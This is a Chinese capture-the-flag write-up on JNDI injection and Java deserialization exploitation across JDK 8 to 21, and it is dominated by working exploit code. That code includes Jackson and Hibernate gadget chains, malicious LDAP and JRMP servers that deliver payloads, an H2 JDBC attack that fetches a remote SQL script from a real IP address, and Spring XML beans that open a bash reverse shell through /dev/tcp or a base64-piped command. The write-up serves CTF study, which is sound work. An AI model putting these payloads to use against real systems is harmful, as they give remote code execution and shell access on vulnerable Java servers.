avss geekcon初赛old-log学习
N1ght 发表于 江苏 CTF 840浏览 · 2024-05-21 03:21

geekcon old-log学习

jdk1.8,jdk11

在jndi注入下,jdk1.8使用ldap传入java反序列化,打jackson链子即可(漏洞存在环境jdk1.8,jdk11)因为在后面几个版本Template类被做了一些限制
编写参考(能自己写但是没有必要)
jndiMap

package map.jndi.gadget;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import map.jndi.util.ReflectUtil;
import map.jndi.util.SerializeUtil;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Jackson {
    public static byte[] create(TemplatesImpl templatesImpl) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");

        if (!ctClass.isFrozen()) {
            CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
            ctClass.removeMethod(ctMethod);
            ctClass.freeze();
            ctClass.toClass();
        }

        AdvisedSupport as = new AdvisedSupport();
        as.setTarget(templatesImpl);

        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler jdkDynamicAopProxyHandler = (InvocationHandler) constructor.newInstance(as);

        Templates templatesProxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, jdkDynamicAopProxyHandler);

        POJONode pojoNode = new POJONode(templatesProxy);
        BadAttributeValueExpException e = new BadAttributeValueExpException(null);
        ReflectUtil.setFieldValue(e, "val", pojoNode);

        return SerializeUtil.serialize(e);
    }
}

jackson反序列化触发getter,使用spring aop使链子稳定

jdk17

DataSourceFactory

在jdk17中,rmi访问外网ip会有一些问题,这边使用LDAP + Reference
这边使用X1r0z师傅的博客来演示一下
X1r0z blog

package com.example;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#Evil";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
//             Payload1: 利用 LDAP + Reference Factory
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
//             Payload2: 返回序列化 Gadget
//            try {
//                e.addAttribute("javaSerializedData", Base64.decode("..."));
//            } catch (ParseException exception) {
//                exception.printStackTrace();
//            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

可以使用 LDAP + Reference Factory,Payload2: 返回序列化 Gadget
tomcat-jdbc打h2 jdbc attack

写入到ldap服务器中即可,只不过这边有点问题我使用的是远程加载poc.sql
所以payload是

package com;  

import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
import com.unboundid.ldap.listener.InMemoryListenerConfig;  
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
import com.unboundid.ldap.sdk.Entry;  
import com.unboundid.ldap.sdk.LDAPException;  
import com.unboundid.ldap.sdk.LDAPResult;  
import com.unboundid.ldap.sdk.ResultCode;  
import com.unboundid.util.Base64;  

import javax.naming.Reference;  
import javax.naming.StringRefAddr;  
import javax.net.ServerSocketFactory;  
import javax.net.SocketFactory;  
import javax.net.ssl.SSLSocketFactory;  
import java.net.InetAddress;  
import java.net.MalformedURLException;  
import java.net.URL;  
import java.text.ParseException;  

public class LDAPServer{  
    private static final String LDAP_BASE = "dc=example,dc=com";  

    public static void main (String[] args) {  

        String url = "http://127.0.0.1:8000/#Evil";  
        int port = 1389;  

        try {  
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
            config.setListenerConfigs(new InMemoryListenerConfig(  
                    "listen",  
                    InetAddress.getByName("0.0.0.0"),  
                    port,  
                    ServerSocketFactory.getDefault(),  
                    SocketFactory.getDefault(),  
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));  

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));  
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
            System.out.println("Listening on 0.0.0.0:" + port);  
            ds.startListening();  

        }  
        catch ( Exception e ) {  
            e.printStackTrace();  
        }  
    }  

    private static class OperationInterceptor extends InMemoryOperationInterceptor {  

        private URL codebase;  
        public OperationInterceptor ( URL cb ) {  
            this.codebase = cb;  
        }  
        /**  
         * {@inheritDoc}  
         *         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)  
         */        @Override  
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {  
            String base = result.getRequest().getBaseDN();  
            Entry e = new Entry(base);  
            try {  
                sendResult(result, base, e);  
            }  
            catch ( Exception e1 ) {  
                e1.printStackTrace();  
            }  

        }  

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {  
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));  
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);  
            e.addAttribute("javaClassName", "Exploit");  
            String cbstring = this.codebase.toString();  
            int refPos = cbstring.indexOf('#');  
            if ( refPos > 0 ) {  
                cbstring = cbstring.substring(0, refPos);  
            }  
            Reference ref = new Reference("javax.sql.DataSource","org.apache.tomcat.jdbc.pool.DataSourceFactory",null);  
            String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://106.54.209.118:4444/poc.sql'";  
            ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));  
            ref.add(new StringRefAddr("url",url));  
            ref.add(new StringRefAddr("username","root"));  
            ref.add(new StringRefAddr("password","password"));  
            ref.add(new StringRefAddr("initialSize","1"));  

            e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));  


//             Payload2: 返回序列化 Gadget//            try {  
//                e.addAttribute("javaSerializedData", Base64.decode("..."));  
//            } catch (ParseException exception) {  
//                exception.printStackTrace();  
//            }  

            result.sendSearchEntry(e);  
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
        }  

    }  
}

GenericNamingResourcesFactory

Reference ref = new Reference("org.apache.commons.configuration.SystemConfiguration","org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
            ref.add(new StringRefAddr("SystemProperties", "http://127.0.0.1:6666/system.txt")); //配置文件的地址
            return ref;
        }


设置cc3.2.2允许反序列化,然后打jdk反序列化漏洞

jdk21

这个漏洞属于是ssh打一条全新的链子

这个比较强,sink点在于DefaultFormatter#stringToValue


JFormattedTextField#commitEdit触发了他

public void commitEdit() throws ParseException {  
    AbstractFormatter format = getFormatter();  

    if (format != null) {  
        setValue(format.stringToValue(getText()), false, true);  
    }  
}

发现javax.swing.JFormattedTextField$FocusLostHandler#run触发了他,到这边已经能组成一个低版本的链子了,但是jdk高版本有package隔离


从官方给出的链子来看
reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable就不受隔离影响

他是groovy的类
Hibernate5存在任意无参方法调用(反思,没有听过),所以最后就是

import com.n1ght.reflect.ReflectTools;
import com.n1ght.serial.SerialTools;
import com.n1ght.unsafe.UnSafeTools;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.internal.util.ReflectHelper;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import org.hibernate.validator.internal.util.ReflectionHelper;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.swing.*;
import javax.swing.text.DefaultFormatter;
import java.lang.reflect.*;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws Exception {
        new Main().bypassModule();
        DefaultFormatter defaultFormatter = new DefaultFormatter();
        defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);
        JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter);
        jFormattedTextField.setValue("http://127.0.0.1:8001/poc.xml");
        Class<?> handler = Class.forName("javax.swing.JFormattedTextField$FocusLostHandler");
        Object o = UnSafeTools.newClass(handler);
        UnSafeTools.setObject(o, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler").getDeclaredField("this$0"), jFormattedTextField);

        Class<?> execRunnable = Class.forName("reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable");
        Object exec = UnSafeTools.newClass(execRunnable);
        UnSafeTools.setObject(exec,execRunnable.getDeclaredField("task"),o);

        Object makeHibernate5Getter = makeHibernate5Getter(handler, "run");
        Object o1 = makeHibernate45Caller( o,makeHibernate5Getter);

        String s = SerialTools.base64Serial(o1);
        System.out.println(s);

        SerialTools.base64DeSerial(s);
//        GetterMethodImpl getterMethod = new GetterMethodImpl(execRunnable, "run", run);
//        String s = SerialTools.base64Serial(getterMethod);
//        System.out.println(s);
//        Object o1 = SerialTools.base64DeSerial(s);
//        Method get = o1.getClass().getDeclaredMethod("get",Object.class);
//        get.invoke(o1,exec);
    }
    static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
        PojoComponentTuplizer tup = (PojoComponentTuplizer)Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
        Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
        ComponentType t = (ComponentType)Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
        Reflections.setFieldValue(t, "componentTuplizer", tup);
        Reflections.setFieldValue(t, "propertySpan", Integer.valueOf(1));
        Reflections.setFieldValue(t, "propertyTypes", new Type[] { (Type)t });
        TypedValue v1 = new TypedValue((Type)t, null);
        Reflections.setFieldValue(v1, "value", tpl);
        Reflections.setFieldValue(v1, "type", t);
        TypedValue v2 = new TypedValue((Type)t, null);
        Reflections.setFieldValue(v2, "value", tpl);
        Reflections.setFieldValue(v2, "type", t);

        HashMap<Object, Object> s = new HashMap();
        Field size = s.getClass().getDeclaredField("size");
        ReflectHelper.ensureAccessibility(size);
        size.set(s,2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException var6) {
            nodeC = Class.forName("java.util.HashMap$EntAry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
        ReflectHelper.ensureAccessibility(nodeCons);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Field table = s.getClass().getDeclaredField("table");
        ReflectHelper.ensureAccessibility(table);
        table.set(s,tbl);
        return s;
    }
    public void bypassModule() throws Exception {
        UnSafeTools.bypassModule(this.getClass(), Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
//        UnSafeTools.bypassModule(this.getClass(), ClassPathXmlApplicationContext.class);
//        UnSafeTools.bypassModule(this.getClass(), JFormattedTextField.class);
//        UnSafeTools.bypassModule(this.getClass(), HashMap.class);
//        UnSafeTools.bypassModule(this.getClass(), GetterMethodImpl.class);
//        UnSafeTools.bypassModule(Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"), JFormattedTextField.class);
//        UnSafeTools.bypassModule(JFormattedTextField.class, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
//        UnSafeTools.bypassModule(ReflectHelper.class, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
        UnSafeTools.bypassModule(ReflectHelper.class, HashMap.class);
//        UnSafeTools.bypassModule(ReflectHelper.class, Class.forName("java.util.HashMap$Node"));
//
//        UnSafeTools.bypassModule(GetterMethodImpl.class, Class.forName("reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable"));
    }
    public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
        Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
        Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
        Constructor<?> bgCon = basicGetter.getConstructor(new Class[] { Class.class, String.class, Method.class });
        Object g = bgCon.newInstance(new Object[] { tplClass, "run", tplClass.getDeclaredMethod(method, new Class[0]) });
        Object arr = Array.newInstance(getterIf, 1);
        Array.set(arr, 0, g);
        return arr;
    }
}

jndi高版本注入

https://vidar-team.feishu.cn/docx/ScXKd2ISEo8dL6xt5imcQbLInGc
打的是JRMPListener打反序列化漏洞
所以参考一下师傅的jndi的payload

package com;
import com.n1ght.reflect.ReflectTools;
import com.n1ght.source.SourceTools;
import com.n1ght.unsafe.UnSafeTools;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.internal.util.ReflectHelper;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import sun.rmi.transport.TransportConstants;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.swing.*;
import javax.swing.event.EventListenerList;
import javax.swing.text.DefaultFormatter;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.*;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Vector;


/**
 * Generic JRMP listener
 * <p>
 * Opens up an JRMP listener that will deliver the specified payload to any
 * client connecting to it and making a call.
 *
 * @author mbechler
 */
@SuppressWarnings({
    "restriction"
})
public class JRMPListener implements Runnable {

    private int port;
    private Object payloadObject;
    private ServerSocket ss;
    private Object waitLock = new Object();
    private boolean exit;
    private boolean hadConnection;
    private URL classpathUrl;


    public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
        this.port = port;
        this.payloadObject = payloadObject;
        this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
    }

    public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
        this.port = port;
        this.payloadObject = makeDummyObject(className);
        this.classpathUrl = classpathUrl;
        this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
    }

    public JRMPListener() {
    }

    public static void main(String[] args) throws Exception {
        new JRMPListener().bypassModule();
//        if (args.length < 3) {
//            System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
//            System.exit(-1);
//            return;
//        }
        final Object payloadObject = makePayloadObject();

        try {
            int port = 1389;
            System.err.println("* Opening JRMP listener on " + port);
            JRMPListener c = new JRMPListener(port, payloadObject);
            c.run();
        } catch (Exception e) {
            System.err.println("Listener error");
            e.printStackTrace(System.err);
        }
    }

    private static Object makePayloadObject() throws Exception {
        DefaultFormatter defaultFormatter = new DefaultFormatter();
        defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);
        JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter);
        jFormattedTextField.setValue("http://106.54.209.118:4444/poc.xml");
        Class<?> handler = Class.forName("javax.swing.JFormattedTextField$FocusLostHandler");
        Object o = UnSafeTools.newClass(handler);
        UnSafeTools.setObject(o, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler").getDeclaredField("this$0"), jFormattedTextField);

        Class<?> execRunnable = Class.forName("reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable");
        Object exec = UnSafeTools.newClass(execRunnable);
        UnSafeTools.setObject(exec,execRunnable.getDeclaredField("task"),o);

        Object makeHibernate5Getter = makeHibernate5Getter(execRunnable, "run");
        Object o1 = makeHibernate45Caller( exec,makeHibernate5Getter);

        return o1;
    }
    public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
        Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
        Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
        Constructor<?> bgCon = basicGetter.getConstructor(new Class[] { Class.class, String.class, Method.class });
        Object g = bgCon.newInstance(new Object[] { tplClass, "run", tplClass.getDeclaredMethod(method, new Class[0]) });
        Object arr = Array.newInstance(getterIf, 1);
        Array.set(arr, 0, g);
        return arr;
    }
    static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
        PojoComponentTuplizer tup = (PojoComponentTuplizer)ReflectTools.createWithoutConstructor(PojoComponentTuplizer.class);
        ReflectTools.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
        ComponentType t = (ComponentType)ReflectTools.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
        ReflectTools.setFieldValue(t, "componentTuplizer", tup);
        ReflectTools.setFieldValue(t, "propertySpan", Integer.valueOf(1));
        ReflectTools.setFieldValue(t, "propertyTypes", new Type[] { (Type)t });
        TypedValue v1 = new TypedValue((Type)t, null);
        ReflectTools.setFieldValue(v1, "value", tpl);
        ReflectTools.setFieldValue(v1, "type", t);
        TypedValue v2 = new TypedValue((Type)t, null);
        ReflectTools.setFieldValue(v2, "value", tpl);
        ReflectTools.setFieldValue(v2, "type", t);

        HashMap<Object, Object> s = new HashMap();
        Field size = s.getClass().getDeclaredField("size");
        ReflectTools.setAccessible(size);
        size.set(s,2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException var6) {
            nodeC = Class.forName("java.util.HashMap$EntAry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
        ReflectTools.setAccessible(nodeCons);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Field table = s.getClass().getDeclaredField("table");
        ReflectTools.setAccessible(table);
        table.set(s,tbl);
        return s;
    }
    @SuppressWarnings({"deprecation"})
    protected static Object makeDummyObject(String className) {
        try {
            ClassLoader isolation = new ClassLoader() {
            };
            ClassPool cp = new ClassPool();
            cp.insertClassPath(new ClassClassPath(Dummy.class));
            CtClass clazz = cp.get(Dummy.class.getName());
            clazz.setName(className);
            return clazz.toClass(isolation).newInstance();
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[0];
        }
    }
    public void bypassModule() throws Exception {
//        UnSafeTools.bypassModule(this.getClass(), ClassPathXmlApplicationContext.class);
//        UnSafeTools.bypassModule(this.getClass(), JFormattedTextField.class);
//        UnSafeTools.bypassModule(this.getClass(), HashMap.class);
//        UnSafeTools.bypassModule(this.getClass(), GetterMethodImpl.class);
//        UnSafeTools.bypassModule(Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"), JFormattedTextField.class);
//        UnSafeTools.bypassModule(JFormattedTextField.class, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
//        UnSafeTools.bypassModule(ReflectHelper.class, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
        UnSafeTools.bypassModule(ReflectTools.class, HashMap.class);
        UnSafeTools.bypassModule(ReflectTools.class, CompoundEdit.class);
        UnSafeTools.bypassModule(ReflectTools.class, int.class);
//        UnSafeTools.bypassModule(ReflectHelper.class, Class.forName("java.util.HashMap$Node"));
//
//        UnSafeTools.bypassModule(GetterMethodImpl.class, Class.forName("reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable"));
    }
    public boolean waitFor(int i) {
        try {
            if (this.hadConnection) {
                return true;
            }
            System.err.println("Waiting for connection");
            synchronized (this.waitLock) {
                this.waitLock.wait(i);
            }
            return this.hadConnection;
        } catch (InterruptedException e) {
            return false;
        }
    }

    /**
     *
     */
    public void close() {
        this.exit = true;
        try {
            this.ss.close();
        } catch (IOException e) {
        }
        synchronized (this.waitLock) {
            this.waitLock.notify();
        }
    }

    public void run() {
        try {
            Socket s = null;
            try {
                while (!this.exit && (s = this.ss.accept()) != null) {
                    try {
                        s.setSoTimeout(5000);
                        InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
                        System.err.println("Have connection from " + remote);

                        InputStream is = s.getInputStream();
                        InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);

                        // Read magic (or HTTP wrapper)
                        bufIn.mark(4);
                        DataInputStream in = new DataInputStream(bufIn);
                        int magic = in.readInt();

                        short version = in.readShort();
                        if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
                            s.close();
                            continue;
                        }

                        OutputStream sockOut = s.getOutputStream();
                        BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
                        DataOutputStream out = new DataOutputStream(bufOut);

                        byte protocol = in.readByte();
                        switch (protocol) {
                            case TransportConstants.StreamProtocol:
                                out.writeByte(TransportConstants.ProtocolAck);
                                if (remote.getHostName() != null) {
                                    out.writeUTF(remote.getHostName());
                                } else {
                                    out.writeUTF(remote.getAddress().toString());
                                }
                                out.writeInt(remote.getPort());
                                out.flush();
                                in.readUTF();
                                in.readInt();
                            case TransportConstants.SingleOpProtocol:
                                doMessage(s, in, out, this.payloadObject);
                                break;
                            default:
                            case TransportConstants.MultiplexProtocol:
                                System.err.println("Unsupported protocol");
                                s.close();
                                continue;
                        }

                        bufOut.flush();
                        out.flush();
                    } catch (InterruptedException e) {
                        return;
                    } catch (Exception e) {
                        e.printStackTrace(System.err);
                    } finally {
                        System.err.println("Closing connection");
                        s.close();
                    }

                }

            } finally {
                if (s != null) {
                    s.close();
                }
                if (this.ss != null) {
                    this.ss.close();
                }
            }

        } catch (SocketException e) {
            return;
        } catch (Exception e) {
            e.printStackTrace(System.err);
        }
    }

    private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
        System.err.println("Reading message...");

        int op = in.read();

        switch (op) {
            case TransportConstants.Call:
                // service incoming RMI call
                doCall(in, out, payload);
                break;

            case TransportConstants.Ping:
                // send ack for ping
                out.writeByte(TransportConstants.PingAck);
                break;

            case TransportConstants.DGCAck:
                UID u = UID.read(in);
                break;

            default:
                throw new IOException("unknown transport op " + op);
        }

        s.close();
    }

    private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(in) {

            @Override
            protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
                if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
                    return ObjID[].class;
                } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
                    return ObjID.class;
                } else if ("java.rmi.server.UID".equals(desc.getName())) {
                    return UID.class;
                }
                throw new IOException("Not allowed to read object");
            }
        };

        ObjID read;
        try {
            read = ObjID.read(ois);
        } catch (java.io.IOException e) {
            throw new MarshalException("unable to read objID", e);
        }


        if (read.hashCode() == 2) {
            ois.readInt(); // method
            ois.readLong(); // hash
            System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
        }

        System.err.println("Sending return with payload for obj " + read);

        out.writeByte(TransportConstants.Return);// transport op
        ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl);

        oos.writeByte(TransportConstants.ExceptionalReturn);
        new UID().write(oos);

//        BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
//        ReflectTools.setFieldValue(ex, "val", payload);

//        EventListenerList list2 = new EventListenerList();
//        UndoManager manager = new UndoManager();
//
//        Vector vector = (Vector) ReflectTools.getFieldValue(manager, "edits");
//        vector.add(payload);
//        ReflectTools.setFieldValue(list2, "listenerList", new Object[]{InternalError.class, manager});
        oos.writeObject(payload);

        oos.flush();
        out.flush();

        this.hadConnection = true;
        synchronized (this.waitLock) {
            this.waitLock.notifyAll();
        }
    }

    public static class Dummy implements Serializable {
        private static final long serialVersionUID = 1L;

    }

    static final class MarshalOutputStream extends ObjectOutputStream {


        private URL sendUrl;

        public MarshalOutputStream(OutputStream out, URL u) throws IOException {
            super(out);
            this.sendUrl = u;
        }

        MarshalOutputStream(OutputStream out) throws IOException {
            super(out);
        }

        @Override
        protected void annotateClass(Class<?> cl) throws IOException {
            if (this.sendUrl != null) {
                writeObject(this.sendUrl.toString());
            } else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
                writeObject(null);
            } else {
                URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
                String cb = "";

                for (URL u : us) {
                    cb += u.toString();
                }
                writeObject(cb);
            }
        }


        /**
         * Serializes a location from which to load the specified class.
         */
        @Override
        protected void annotateProxyClass(Class<?> cl) throws IOException {
            annotateClass(cl);
        }
    }
}

反弹shell的payload

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="htt
p://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.spr
ingframework.org/schema/beans http://www.springframework.org/schema/beans/
spring-beans.xsd">
 <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
 <constructor-arg>
 <list>
 <value>/bin/bash</value>
 <value>-c</value>
 <value><![CDATA[bash -i >& /dev/tcp/xxxxx/7780 <&1]]></value>
 </list>
 </constructor-arg>
 </bean>
</beans>
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,Y...E=}|{base64,-d}|{bash,-i}</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

0 条评论
某人
表情
可输入 255